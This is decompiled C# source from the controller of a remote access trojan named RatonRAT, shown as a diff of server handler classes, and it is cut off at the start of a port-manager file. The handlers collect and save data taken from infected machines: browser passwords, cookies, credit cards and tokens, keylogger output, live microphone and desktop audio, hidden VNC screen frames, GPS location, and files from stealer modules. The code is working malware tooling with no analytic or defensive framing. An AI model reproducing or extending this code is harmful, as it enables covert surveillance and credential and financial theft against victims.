// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleFileManager
{
public HandleFileManager(SillyClient SillyClient, Unpack unpack)
{
ratonFIleManager fileManagerForm = (ratonFIleManager) Application.OpenForms["File Manager | Client ID: " + unpack.GetAsString("UID")];
if (fileManagerForm == null)
return;
if (fileManagerForm.SillyClient == null)
{
fileManagerForm.SillyClient = SillyClient;
fileManagerForm.timer1.Start();
}
fileManagerForm.Invoke((Delegate) (() =>
{
switch (unpack.GetAsString("Action"))
{
case "Drives":
Dictionary<string, byte[]> all = unpack.GetAll();
fileManagerForm.aeroListView1.Items.Clear();
fileManagerForm.aeroListView2.Items.Clear();
fileManagerForm.textBox1.Text = string.Empty;
using (Dictionary<string, byte[]>.Enumerator enumerator = all.GetEnumerator())
{
while (enumerator.MoveNext())
{
KeyValuePair<string, byte[]> current = enumerator.Current;
if (!(current.Key == "Packet") && !(current.Key == "UID") && !(current.Key == "Action"))
{
fileManagerForm.aeroListView2.Items.Add(new ListViewItem(current.Key)
{
ImageKey = "df0nr8k-b42efd9c-be6b-41c0-9659-817a6d429cbe.png"
});
Program.form2.AddSuccessLog((object) ("Added the drive " + current.Key), (object) Color.LightGreen);
}
}
break;
}
case "Quick":
fileManagerForm.aeroListView3.Items.Clear();
string[] strArray1 = new string[26]
{
"Desktop",
"Documents",
"Downloads",
"Pictures",
"Music",
"Videos",
"AppData",
"LocalAppData",
"Roaming",
"Temp",
"UserProfile",
"Startup",
"StartupCommon",
"Programs",
"ProgramsCommon",
"ProgramFiles",
"ProgramFilesX86",
"ProgramData",
"Windows",
"System",
"SystemX86",
"Fonts",
"Templates",
"Recent",
"SendTo",
"Root"
};
foreach (string str in strArray1)
{
string asString = unpack.GetAsString(str);
if (!string.IsNullOrEmpty(asString))
fileManagerForm.aeroListView3.Items.Add(new ListViewItem(str)
{
ImageIndex = 1,
Tag = (object) asString
});
}
break;
case "Goto":
fileManagerForm.aeroListView1.Items.Clear();
fileManagerForm.textBox1.Text = unpack.GetAsString("CurrentPath");
string asString1 = unpack.GetAsString("Folders");
string asString2 = unpack.GetAsString("Files");
string[] strArray2 = asString1.Split(new string[1]
{
"-=>"
}, StringSplitOptions.None);
string[] strArray3 = asString2.Split(new string[1]
{
"-=>"
}, StringSplitOptions.None);
fileManagerForm.imageList1.Images.Clear();
fileManagerForm.aeroListView1.BeginUpdate();
fileManagerForm.imageList1.Images.Add("foldershit", (Image) Resources.Folder.Clone());
for (int index = 0; index < strArray2.Length - 1; index = index + 2 + 1)
fileManagerForm.aeroListView1.Items.Add(new ListViewItem()
{
Text = strArray2[index],
SubItems = {
strArray2[index + 1],
"Folder",
string.Empty
},
Tag = (object) strArray2[index + 2],
ImageKey = "foldershit"
});
for (int index = 0; index < strArray3.Length - 1; index = index + 5 + 1)
{
ListViewItem listViewItem = new ListViewItem();
listViewItem.Text = strArray3[index];
listViewItem.SubItems.Add(strArray3[index + 1]);
listViewItem.SubItems.Add(strArray3[index + 2]);
listViewItem.SubItems.Add(strArray3[index + 3]);
listViewItem.SubItems.Add(strArray3[index + 4]);
listViewItem.Tag = (object) strArray3[index + 4];
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray3[index + 5])));
fileManagerForm.imageList1.Images.Add(strArray3[index], image);
listViewItem.ImageKey = strArray3[index];
fileManagerForm.aeroListView1.Items.Add(listViewItem);
}
fileManagerForm.aeroListView1.EndUpdate();
fileManagerForm.aeroListView1.Visible = true;
fileManagerForm.aeroListView1.Enabled = true;
break;
}
}));
}
}
@@ -0,0 +1,47 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleFileSearch
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleFileSearch
{
public HandleFileSearch(SillyClient client, Unpack rip2pac)
{
ratonFileEx ratonfile = (ratonFileEx) Application.OpenForms["File stealer | Client ID: " + rip2pac.GetAsString("UID")];
int v = rip2pac.GetAsInteger("Progress");
if (ratonfile == null)
return;
if (ratonfile.SillyClient == null)
ratonfile.SillyClient = client;
ratonfile.Invoke((Delegate) (() =>
{
ratonfile.label2.Text = $"{v}%";
string asString = rip2pac.GetAsString("Path");
if (v == 100 && !string.IsNullOrEmpty(asString))
{
ratonfile.label1.Text = "Got the file stealer .zip!";
ratonfile.label1.ForeColor = Color.LightGreen;
ratonfile.textBox1.Text = asString;
ratonfile.button1.Enabled = true;
}
else if (v == 100 && string.IsNullOrEmpty(asString))
{
ratonfile.label1.Text = "No files found.";
ratonfile.label1.ForeColor = Color.OrangeRed;
}
else
ratonfile.label1.Text = "Searching files...";
}));
}
}
@@ -0,0 +1,59 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleFirefox
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
#nullable disable
namespace Server.Handlers;
internal class HandleFirefox
{
public HandleFirefox(SillyClient client, Unpack unpack)
{
try
{
string asString1 = unpack.GetAsString("UID");
if (string.IsNullOrEmpty(asString1))
return;
string asString2 = unpack.GetAsString("Cookies");
string asString3 = unpack.GetAsString("History");
string asString4 = unpack.GetAsString("Passwords");
string str1 = Path.Combine(Program.ClientsFolder, asString1, "Firefox");
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
if (!string.IsNullOrEmpty(asString2))
{
string str3 = Path.Combine(str1, $"FirefoxCookies_{str2}.txt");
File.WriteAllText(str3, asString2);
this.Log(str3);
}
if (!string.IsNullOrEmpty(asString3))
{
string str4 = Path.Combine(str1, $"FirefoxHistory_{str2}.txt");
File.WriteAllText(str4, asString3);
this.Log(str4);
}
if (string.IsNullOrEmpty(asString4))
return;
string str5 = Path.Combine(str1, $"FirefoxPasswords_{str2}.txt");
File.WriteAllText(str5, asString4);
this.Log(str5);
}
catch
{
}
}
private void Log(string filePath)
{
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the Firefox information: " + filePath), (object) Color.LightGreen)));
}
}
+52
View File
@@ -0,0 +1,52 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleGeo
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using GMap.NET;
using GMap.NET.WindowsPresentation;
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Globalization;
using System.Windows;
using System.Windows.Shapes;
#nullable disable
namespace Server.Handlers;
internal class HandleGeo
{
public HandleGeo(SillyClient SillyClient, Unpack msgUnpack)
{
ratonGPS geo = (ratonGPS) System.Windows.Forms.Application.OpenForms["Geo | Client ID: " + msgUnpack.GetAsString("UID")];
if (geo == null)
return;
if (geo.SillyClient == null)
geo.SillyClient = SillyClient;
geo.Invoke((Delegate) (() =>
{
string asString1 = msgUnpack.GetAsString("lat");
string asString2 = msgUnpack.GetAsString("lon");
GMapMarker marker = new GMapMarker(new PointLatLng(double.Parse(asString1, (IFormatProvider) CultureInfo.InvariantCulture), double.Parse(asString2, (IFormatProvider) CultureInfo.InvariantCulture)));
GMapMarker gmapMarker = marker;
gmapMarker.Shape = (UIElement) new Ellipse()
{
Width = 12.0,
Height = 12.0,
Fill = (System.Windows.Media.Brush) System.Windows.Media.Brushes.Red,
Stroke = (System.Windows.Media.Brush) System.Windows.Media.Brushes.White,
StrokeThickness = 2.0,
ToolTip = (object) ("User ID: " + msgUnpack.GetAsString("UID"))
};
Program.form2.Dispatcher.Invoke((Action) (() =>
{
Program.form2.AddMarker(marker);
Program.form2.AddSuccessLog((object) "GPS added to the world map", (object) System.Drawing.Color.LightGreen);
}));
geo.label1.Text = "Saved client location to the raton map";
}));
}
}
+77
View File
@@ -0,0 +1,77 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleHVNC
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleHVNC
{
public HandleHVNC(SillyClient SillyClient, Unpack msgUnpack)
{
HandleHVNC handleHvnc = this;
string formName = "HVNC | Client ID: " + msgUnpack.GetAsString("UID");
ratonHVNC hv = (ratonHVNC) null;
if (Application.OpenForms.Count > 0)
{
Form openForm = Application.OpenForms[0];
if (openForm.InvokeRequired)
openForm.Invoke((Delegate) (() => hv = Application.OpenForms[formName] as ratonHVNC));
else
hv = Application.OpenForms[formName] as ratonHVNC;
}
if (hv == null || hv.IsDisposed || !hv.IsHandleCreated)
return;
if (hv.SillyClient == null)
hv.SillyClient = SillyClient;
try
{
if (hv.InvokeRequired)
hv.BeginInvoke((Delegate) (() => handleHvnc.UpdateHVNC(hv, msgUnpack)));
else
this.UpdateHVNC(hv, msgUnpack);
}
catch
{
}
}
private void UpdateHVNC(ratonHVNC hv, Unpack msgUnpack)
{
if (hv == null)
return;
if (hv.IsDisposed)
return;
try
{
hv.HVNCWidth = msgUnpack.GetAsInteger("Width");
hv.HVNCHeight = msgUnpack.GetAsInteger("Height");
hv.HVNCScale = (float) msgUnpack.GetAsInteger("Scale") / 1000f;
byte[] asByteArray = msgUnpack.GetAsByteArray("Image");
if (asByteArray == null || asByteArray.Length == 0)
return;
using (MemoryStream memoryStream = new MemoryStream(asByteArray))
{
using (Bitmap original = new Bitmap((Stream) memoryStream))
{
Image image = hv.VNCBox.Image;
hv.VNCBox.Image = (Image) new Bitmap((Image) original);
image?.Dispose();
}
}
}
catch
{
}
}
}
+44
View File
@@ -0,0 +1,44 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleHost
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Misc;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleHost
{
public HandleHost(SillyClient client, Unpack unpack)
{
ratonHosts ratonTelegram = (ratonHosts) Application.OpenForms["Host | Client ID: " + unpack.GetAsString("UID")];
if (ratonTelegram == null)
return;
try
{
string content = unpack.GetAsString("Content");
if (ratonTelegram.InvokeRequired)
ratonTelegram.Invoke((Delegate) (() =>
{
if (string.IsNullOrWhiteSpace(content))
ratonTelegram.textBox1.Text = "Nothing to see here...";
else
ratonTelegram.textBox1.Text = content;
}));
else if (string.IsNullOrWhiteSpace(content))
ratonTelegram.textBox1.Text = "Nothing to see here...";
else
ratonTelegram.textBox1.Text = content;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
+73
View File
@@ -0,0 +1,73 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleInfo
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleInfo
{
public HandleInfo(SillyClient SillyClient, Unpack unpack)
{
ratonInformation infoForm = (ratonInformation) Application.OpenForms["Client information | Client ID: " + unpack.GetAsString("UID")];
if (infoForm == null)
return;
if (infoForm.SillyClient == null)
{
infoForm.SillyClient = SillyClient;
infoForm.timer1.Start();
}
infoForm.Invoke((Delegate) (() =>
{
infoForm.aeroListView1.Items.Clear();
Dictionary<string, byte[]> all = unpack.GetAll();
infoForm.aeroListView1.BeginUpdate();
int num = 0;
foreach (KeyValuePair<string, byte[]> keyValuePair in all)
{
if (!(keyValuePair.Key == "UID") && !(keyValuePair.Key == "Packet"))
{
byte[] bytes = keyValuePair.Value;
string str;
if (bytes == null || bytes.Length == 0)
str = "Unknow";
else if (bytes.Length == 4)
str = BitConverter.ToInt32(bytes, 0).ToString();
else if (bytes.Length == 8)
{
str = BitConverter.ToInt64(bytes, 0).ToString();
}
else
{
str = Encoding.UTF8.GetString(bytes);
if (string.IsNullOrWhiteSpace(str))
str = "Unknow";
}
infoForm.aeroListView1.Items.Add(new ListViewItem(keyValuePair.Key)
{
SubItems = {
str
},
ImageIndex = 0
});
++num;
}
}
infoForm.aeroListView1.EndUpdate();
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the client information", (object) Color.LightGreen)));
infoForm.aeroListView1.Visible = true;
infoForm.label1.Visible = false;
}));
}
}
@@ -0,0 +1,43 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleKeylogger
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleKeylogger
{
public HandleKeylogger(SillyClient SillyClient, Unpack msgUnpack)
{
ratonKeylogger keyloggerForm = Application.OpenForms["Keylogger | Client ID: " + msgUnpack.GetAsString("UID")] as ratonKeylogger;
if (keyloggerForm == null)
return;
if (keyloggerForm.SillyClient == null)
keyloggerForm.SillyClient = SillyClient;
keyloggerForm.Invoke((Delegate) (() =>
{
string asString1 = msgUnpack.GetAsString("Keys");
string asString2 = msgUnpack.GetAsString("Timestamp");
if (asString1.Contains("[WINDOW]"))
{
string text = asString1.Replace("[WINDOW]", asString2 + " - ").Replace("[/WINDOW]", asString2 + " - ");
if (keyloggerForm.textBox1.TextLength > 0)
keyloggerForm.textBox1.AppendText("\r\n\r\n");
keyloggerForm.textBox1.AppendText(text);
keyloggerForm.textBox1.AppendText("\r\n");
}
else
keyloggerForm.textBox1.AppendText(asString1);
keyloggerForm.textBox1.SelectionStart = keyloggerForm.textBox1.TextLength;
keyloggerForm.textBox1.ScrollToCaret();
}));
}
}
@@ -0,0 +1,109 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleMicrophone
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Forms.ClientForms.Audio;
using Server.Connection;
using Stuff;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleMicrophone
{
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
private static Dictionary<string, ratonMicrophone> micForms = new Dictionary<string, ratonMicrophone>();
private const int update = 500;
public HandleMicrophone(SillyClient SillyClient, Unpack msgUnpack)
{
HandleMicrophone handleMicrophone = this;
string uid = msgUnpack.GetAsString("UID");
if (string.IsNullOrEmpty(uid))
return;
ratonMicrophone clipboard = this.GetOrFindForm(uid);
if (clipboard == null || clipboard.IsDisposed)
return;
if (clipboard.SillyClient == null)
clipboard.SillyClient = SillyClient;
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
int length = msgUnpack.GetAsInteger("Length");
if (asByteArray == null || length <= 0)
return;
if (length > asByteArray.Length)
length = asByteArray.Length;
AudioPlayer.Play(uid, asByteArray, length);
double sizeKB = (double) length / 1024.0;
double kbps = this.CalculateKBps(uid, sizeKB);
DateTime now = DateTime.Now;
if (HandleMicrophone.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophone.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
return;
HandleMicrophone.lastUiUpdate[uid] = now;
if (clipboard.InvokeRequired)
clipboard.BeginInvoke((Delegate) (() => handleMicrophone.UpdateUI(clipboard, uid, sizeKB, kbps)));
else
this.UpdateUI(clipboard, uid, sizeKB, kbps);
}
private ratonMicrophone GetOrFindForm(string uid)
{
if (HandleMicrophone.micForms.ContainsKey(uid))
{
ratonMicrophone micForm = HandleMicrophone.micForms[uid];
if (micForm != null && !micForm.IsDisposed)
return micForm;
HandleMicrophone.micForms.Remove(uid);
}
string str = "Microphone | Client ID: " + uid;
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
{
if (openForm.Text == str)
{
ratonMicrophone orFindForm = openForm as ratonMicrophone;
HandleMicrophone.micForms[uid] = orFindForm;
return orFindForm;
}
}
return (ratonMicrophone) null;
}
private void UpdateUI(ratonMicrophone clipboard, string uid, double sizeKB, double kbps)
{
if (clipboard.IsDisposed)
return;
clipboard.label1.Text = $"Recording audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
if (flatProgressBar1.Maximum != 100)
flatProgressBar1.Maximum = 100;
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
flatProgressBar1.Value = Math.Max(0, val2);
}
private double CalculateKBps(string uid, double sizeKB)
{
DateTime now = DateTime.Now;
if (!HandleMicrophone.lastPacketTime.ContainsKey(uid))
{
HandleMicrophone.lastPacketTime[uid] = now;
HandleMicrophone.lastKBps[uid] = 0.0;
return 0.0;
}
double totalSeconds = (now - HandleMicrophone.lastPacketTime[uid]).TotalSeconds;
HandleMicrophone.lastPacketTime[uid] = now;
if (totalSeconds <= 0.0)
return HandleMicrophone.lastKBps[uid];
double num = sizeKB / totalSeconds;
double kbps = HandleMicrophone.lastKBps[uid] * 0.7 + num * 0.3;
HandleMicrophone.lastKBps[uid] = kbps;
return kbps;
}
}
@@ -0,0 +1,109 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleMicrophoneSystem
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Forms.ClientForms.Audio;
using Server.Connection;
using Stuff;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleMicrophoneSystem
{
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
private static Dictionary<string, ratonSystemRecording> micForms = new Dictionary<string, ratonSystemRecording>();
private const int update = 500;
public HandleMicrophoneSystem(SillyClient SillyClient, Unpack msgUnpack)
{
HandleMicrophoneSystem microphoneSystem = this;
string uid = msgUnpack.GetAsString("UID");
if (string.IsNullOrEmpty(uid))
return;
ratonSystemRecording clipboard = this.GetOrFindForm(uid);
if (clipboard == null || clipboard.IsDisposed)
return;
if (clipboard.SillyClient == null)
clipboard.SillyClient = SillyClient;
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
int length = msgUnpack.GetAsInteger("Length");
if (asByteArray == null || length <= 0)
return;
if (length > asByteArray.Length)
length = asByteArray.Length;
AudioDispatch.Enqueue(uid, asByteArray, length);
double sizeKB = (double) length / 1024.0;
double kbps = this.CalculateKBps(uid, sizeKB);
DateTime now = DateTime.Now;
if (HandleMicrophoneSystem.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophoneSystem.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
return;
HandleMicrophoneSystem.lastUiUpdate[uid] = now;
if (clipboard.InvokeRequired)
clipboard.BeginInvoke((Delegate) (() => microphoneSystem.UpdateUI(clipboard, uid, sizeKB, kbps)));
else
this.UpdateUI(clipboard, uid, sizeKB, kbps);
}
private ratonSystemRecording GetOrFindForm(string uid)
{
if (HandleMicrophoneSystem.micForms.ContainsKey(uid))
{
ratonSystemRecording micForm = HandleMicrophoneSystem.micForms[uid];
if (micForm != null && !micForm.IsDisposed)
return micForm;
HandleMicrophoneSystem.micForms.Remove(uid);
}
string str = "System Audio | Client ID: " + uid;
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
{
if (openForm.Text == str)
{
ratonSystemRecording orFindForm = openForm as ratonSystemRecording;
HandleMicrophoneSystem.micForms[uid] = orFindForm;
return orFindForm;
}
}
return (ratonSystemRecording) null;
}
private void UpdateUI(ratonSystemRecording clipboard, string uid, double sizeKB, double kbps)
{
if (clipboard.IsDisposed)
return;
clipboard.label1.Text = $"Recording desktop audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
if (flatProgressBar1.Maximum != 100)
flatProgressBar1.Maximum = 100;
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
flatProgressBar1.Value = Math.Max(0, val2);
}
private double CalculateKBps(string uid, double sizeKB)
{
DateTime now = DateTime.Now;
if (!HandleMicrophoneSystem.lastPacketTime.ContainsKey(uid))
{
HandleMicrophoneSystem.lastPacketTime[uid] = now;
HandleMicrophoneSystem.lastKBps[uid] = 0.0;
return 0.0;
}
double totalSeconds = (now - HandleMicrophoneSystem.lastPacketTime[uid]).TotalSeconds;
HandleMicrophoneSystem.lastPacketTime[uid] = now;
if (totalSeconds <= 0.0)
return HandleMicrophoneSystem.lastKBps[uid];
double num = sizeKB / totalSeconds;
double kbps = HandleMicrophoneSystem.lastKBps[uid] * 0.7 + num * 0.3;
HandleMicrophoneSystem.lastKBps[uid] = kbps;
return kbps;
}
}
@@ -0,0 +1,58 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleMinecraft
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
#nullable disable
namespace Server.Handlers;
internal class HandleMinecraft
{
public HandleMinecraft(SillyClient client, Unpack unpack)
{
string uid = unpack.GetAsString("UID");
int asInteger = unpack.GetAsInteger("Count");
string str1 = Path.Combine(Program.ClientsFolder, uid);
if (!Directory.Exists(str1))
Directory.CreateDirectory(str1);
Console.WriteLine(uid + asInteger.ToString());
for (int index = 0; index < asInteger; ++index)
{
string name = unpack.GetAsString($"Name{index}");
string asString = unpack.GetAsString($"Extension{index}");
byte[] asByteArray = unpack.GetAsByteArray($"Data{index}");
string[] source = new string[6]
{
"txt",
"json",
"log",
".txt",
".json",
".log"
};
if (!string.IsNullOrEmpty(name) && asByteArray != null && asByteArray.Length != 0)
{
string str2;
if (!string.IsNullOrWhiteSpace(asString))
str2 = asString.TrimStart('.').ToLower();
else
str2 = "";
string safeExt = str2;
if (!((IEnumerable<string>) source).Contains<string>(safeExt))
break;
File.WriteAllBytes(Path.Combine(str1, $"{name}.{safeExt}"), asByteArray);
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Minecraft → {uid} → {name}.{safeExt}", (object) System.Drawing.Color.LightGreen)));
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nMinecraft stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
}
}
}
@@ -0,0 +1,35 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandleMullvad
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Stealers;
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandleMullvad
{
public HandleMullvad(SillyClient client, Unpack rip2pac)
{
ratonMullvad ratonTelegram = (ratonMullvad) Application.OpenForms["Mullvad | Client ID: " + rip2pac.GetAsString("UID")];
if (ratonTelegram == null)
return;
if (ratonTelegram.SillyClient == null)
ratonTelegram.SillyClient = client;
ratonTelegram.Invoke((Delegate) (() =>
{
ratonTelegram.label1.Text = "Got the Mullvad .zip!";
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
ratonTelegram.button1.Enabled = true;
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nMullvad stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}));
}
}
@@ -0,0 +1,57 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandlePasswords
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Windows;
using Server.Connection;
using Stuff;
using System;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Server.Handlers;
internal class HandlePasswords
{
public HandlePasswords(SillyClient client, Unpack unpack)
{
try
{
string uid = unpack.GetAsString("UID");
string asString = unpack.GetAsString("Passwords");
bool asBool = unpack.GetAsBool("isCrypto");
if (string.IsNullOrEmpty(uid) || string.IsNullOrEmpty(asString))
return;
string str1 = Path.Combine(Path.Combine(Program.ClientsFolder, uid), asBool ? "Chromium Crypto" : "Chromium Passwords");
Directory.CreateDirectory(str1);
string[] strArray = asString.Split(new string[1]
{
"==="
}, StringSplitOptions.RemoveEmptyEntries);
for (int index = 0; index < strArray.Length; index += 2)
{
if (index + 1 < strArray.Length)
{
string str2 = strArray[index].Trim();
string str3 = strArray[index + 1].Trim();
string sectionName = str2;
sectionName = sectionName.IndexOf("PASSWORD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("COOKIE", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("AUTOFILL", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("CREDIT CARD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("TOKEN", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED CREDIT", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED IBAN", StringComparison.OrdinalIgnoreCase) < 0 ? "UNKNOWN" : "MASKED IBANS") : "MASKED CREDIT CARDS") : "RESTORE TOKENS") : "CREDIT CARDS") : "AUTOFILLS") : "COOKIES") : "PASSWORDS";
string str4 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss-fff");
string filePath = Path.Combine(str1, $"{sectionName}_{str4}.txt");
File.WriteAllText(filePath, $"=== {str2} ===\r\n\r\n{str3}");
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Saved {sectionName} from {uid}: {filePath}", (object) System.Drawing.Color.LightGreen)));
}
else
break;
}
Notification.Show($"RatonRAT • {uid}\nOld chromium data saved ({(asBool ? "Crypto" : "Passwords")})", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.ToString());
}
}
}
@@ -0,0 +1,55 @@
// Decompiled with JetBrains decompiler
// Type: Server.Handlers.HandlePortManager
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Forms.ClientForms.Monitor;
using Server.Connection;
using Stuff;
using System;
using System.Drawing;
using System.Windows.Forms;
